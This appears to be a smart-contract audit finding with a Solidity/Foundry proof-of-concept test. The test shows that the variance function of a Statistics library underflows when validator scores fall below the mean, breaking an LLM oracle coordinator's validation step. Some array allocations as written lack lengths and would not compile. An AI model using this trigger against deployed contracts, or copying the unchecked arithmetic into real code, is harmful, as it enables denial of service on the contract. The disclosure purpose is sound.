When calculating the variance, each data point in the array is subtracted from the computed mean. If any data point is less than the mean, this subtraction results in an underflow.
In this Proof of Concept, I will demonstrate the integer underflow vulnerability in the variance
function of the Statistics
library when utilized by the LLMOracleCoordinator
contract. By creating a scenario that triggers the vulnerability, we can observe its effects and verify the potential impact.
pragma solidity ^0.8.20;
import "../lib/forge-std/src/Test.sol";
import "../contracts/LLM/LLMOracleCoordinator.sol";
import "../contracts/LLM/LLMOracleRegistry.sol";
import "../contracts/LLM/LLMOracleManager.sol";
import "../contracts/LLM/LLMOracleTask.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "../lib/forge-std/src/mocks/MockERC20.sol";
contract ContractsTest is Test {
LLMOracleCoordinator public coordinator;
LLMOracleRegistry public registry;
LLMOracleManager public manager;
MockERC20 public feeToken;
ERC1967Proxy public proxyCoordinator;
ERC1967Proxy public proxyRegistry;
ERC1967Proxy public proxyManager;
address public user = address(0x123);
address public owner = address(this);
function setUp() public {
feeToken = new MockERC20();
feeToken.initialize("feeToken", "ft", 18);
LLMOracleCoordinator logicCoordinator = new LLMOracleCoordinator();
LLMOracleRegistry logicRegistry = new LLMOracleRegistry();
proxyRegistry = new ERC1967Proxy(
address(logicRegistry),
abi.encodeWithSelector(
LLMOracleRegistry.initialize.selector,
1000,
500,
address(feeToken)
)
);
proxyCoordinator = new ERC1967Proxy(
address(logicCoordinator),
abi.encodeWithSelector(
LLMOracleCoordinator.initialize.selector,
address(proxyRegistry),
address(feeToken),
100,
50,
25
)
);
coordinator = LLMOracleCoordinator(address(proxyCoordinator));
registry = LLMOracleRegistry(address(proxyRegistry));
}
function logTaskRequestDetails(uint256 taskId) internal {
(
address requester,
bytes32 protocol,
LLMOracleTaskParameters memory parameters,
LLMOracleTask.TaskStatus status,
uint256 generatorFee,
uint256 validatorFee,
uint256 platformFee,
bytes memory input,
bytes memory models
) = coordinator.requests(taskId);
console.log("");
console.log("---------------------------------------");
console.log("Task ID:", taskId);
console.log("Requester:", requester);
console.logBytes32(protocol);
console.log("Task Status:", uint(status));
console.log("Generator Fee:", generatorFee);
console.log("Validator Fee:", validatorFee);
console.log("Platform Fee:", platformFee);
console.log("Input Data:", string(input));
console.log("Models:", string(models));
console.log("Parameters - Difficulty:", parameters.difficulty);
console.log("Parameters - Num Generations:", parameters.numGenerations);
console.log("Parameters - Num Validations:", parameters.numValidations);
console.log("");
}
function logTaskResponseDetails(uint256 taskId) internal view {
LLMOracleTask.TaskResponse[] memory responses = coordinator.getResponses(taskId);
for (uint256 i = 0; i < responses.length; i++) {
console.log("");
console.log("---------------------------------------");
console.log("Response Index:", i);
console.log("Responder Address:", responses[i].responder);
console.log("Nonce:", responses[i].nonce);
console.log("Score:", responses[i].score);
console.log("Output Data:", string(responses[i].output));
console.log("Metadata:", string(responses[i].metadata));
console.log("---------------------------------------");
}
}
function mineValidNonce(uint256 taskId, bytes memory input, address requester, address responder, uint256 difficulty) internal view returns (uint256) {
uint256 nonce = 0;
bytes memory message;
uint256 target = type(uint256).max >> difficulty;
while (true) {
message = abi.encodePacked(taskId, input, requester, responder, nonce);
if (uint256(keccak256(message)) <= target) {
console.log("taskId", taskId);
console.logBytes(input);
console.log("requester", requester);
console.log("responder", responder);
console.log("nonce", nonce);
console.logBytes(message);
console.log("mineValidNonce passing value : ", uint256(keccak256(message)));
console.log(" target value : ", target);
console.log("difficulty : ", difficulty);
console.log("responder: ", responder);
break;
}
nonce++;
}
console.log("nonce found : ", nonce);
return nonce;
}
function respondToTask(uint256 taskId, address responder, bytes memory responseOutput, bytes memory metadata) internal {
(address requester, , LLMOracleTaskParameters memory parameters, , , , , bytes memory input, ) = coordinator.requests(taskId);
uint256 nonce = mineValidNonce(taskId, input, requester, responder, parameters.difficulty);
vm.startPrank(responder);
coordinator.respond(taskId, nonce, responseOutput, metadata);
vm.stopPrank();
}
function testMultipleRepliesToTaskRequest() public {
vm.startPrank(user);
deal(address(feeToken), user, 1000 ether);
feeToken.approve(address(registry), 1000 ether);
registry.register(LLMOracleKind.Generator);
bytes32 protocol = "test/1.0.0";
bytes memory input = "Generate text";
bytes memory models = "";
LLMOracleTaskParameters memory params = LLMOracleTaskParameters(5, 4, 4);
deal(address(feeToken), user, 100 ether);
feeToken.approve(address(coordinator), 100 ether);
uint256 taskId = coordinator.request(protocol, input, models, params);
vm.stopPrank();
address[] memory responders = new address[]();
responders[0] = address(0x456);
responders[1] = address(0x789);
responders[2] = address(0xABC);
responders[3] = address(0xDEF);
for (uint256 i = 0; i < responders.length; i++) {
deal(address(feeToken), responders[i], 1100 ether);
vm.startPrank(responders[i]);
feeToken.approve(address(registry), 1000 ether);
registry.register(LLMOracleKind.Generator);
vm.stopPrank();
}
bytes memory responseOutput = "Response output text";
bytes memory metadata = "Oracle metadata";
for (uint256 i = 0; i < responders.length; i++) {
respondToTask(taskId, responders[i], responseOutput, metadata);
}
LLMOracleTask.TaskResponse[] memory responses = coordinator.getResponses(taskId);
assertEq(responses.length, 4);
for (uint256 i = 0; i < responders.length; i++) {
assertEq(responses[i].responder, responders[i]);
}
logTaskRequestDetails(taskId);
logTaskResponseDetails(taskId);
}
function testValidateMultipleResponses() public {
testMultipleRepliesToTaskRequest();
address[] memory validators = new address[]();
validators[0] = address(0x5678);
validators[1] = address(0x6789);
validators[2] = address(0x7890);
validators[3] = address(0x8901);
uint256[] memory scores = new uint256[]();
scores[0] = 10;
scores[1] = 8;
scores[2] = 9;
scores[3] = 7;
for (uint256 i = 0; i < validators.length; i++) {
deal(address(feeToken), validators[i], 1100 ether);
vm.startPrank(validators[i]);
feeToken.approve(address(registry), 1000 ether);
registry.register(LLMOracleKind.Validator);
vm.stopPrank();
}
uint256 taskId = 1;
(address requester, , LLMOracleTaskParameters memory parameters, , , , , bytes memory input, ) = coordinator.requests(taskId);
bytes memory metadata = "Validator metadata";
for (uint256 i = 0; i < validators.length; i++) {
vm.startPrank(validators[i]);
uint256 nonce = mineValidNonce(taskId, input, requester, validators[i], parameters.difficulty);
coordinator.validate(taskId, nonce, scores, metadata);
vm.stopPrank();
}
LLMOracleTask.TaskValidation[] memory validations = coordinator.getValidations(taskId);
assertEq(validations.length, 4);
for (uint256 i = 0; i < validators.length; i++) {
assertEq(validations[i].validator, validators[i]);
}
logTaskRequestDetails(taskId);
logTaskResponseDetails(taskId);
}
In this case we have a data = 7 and a mean = 8. 7 - 8 underflow.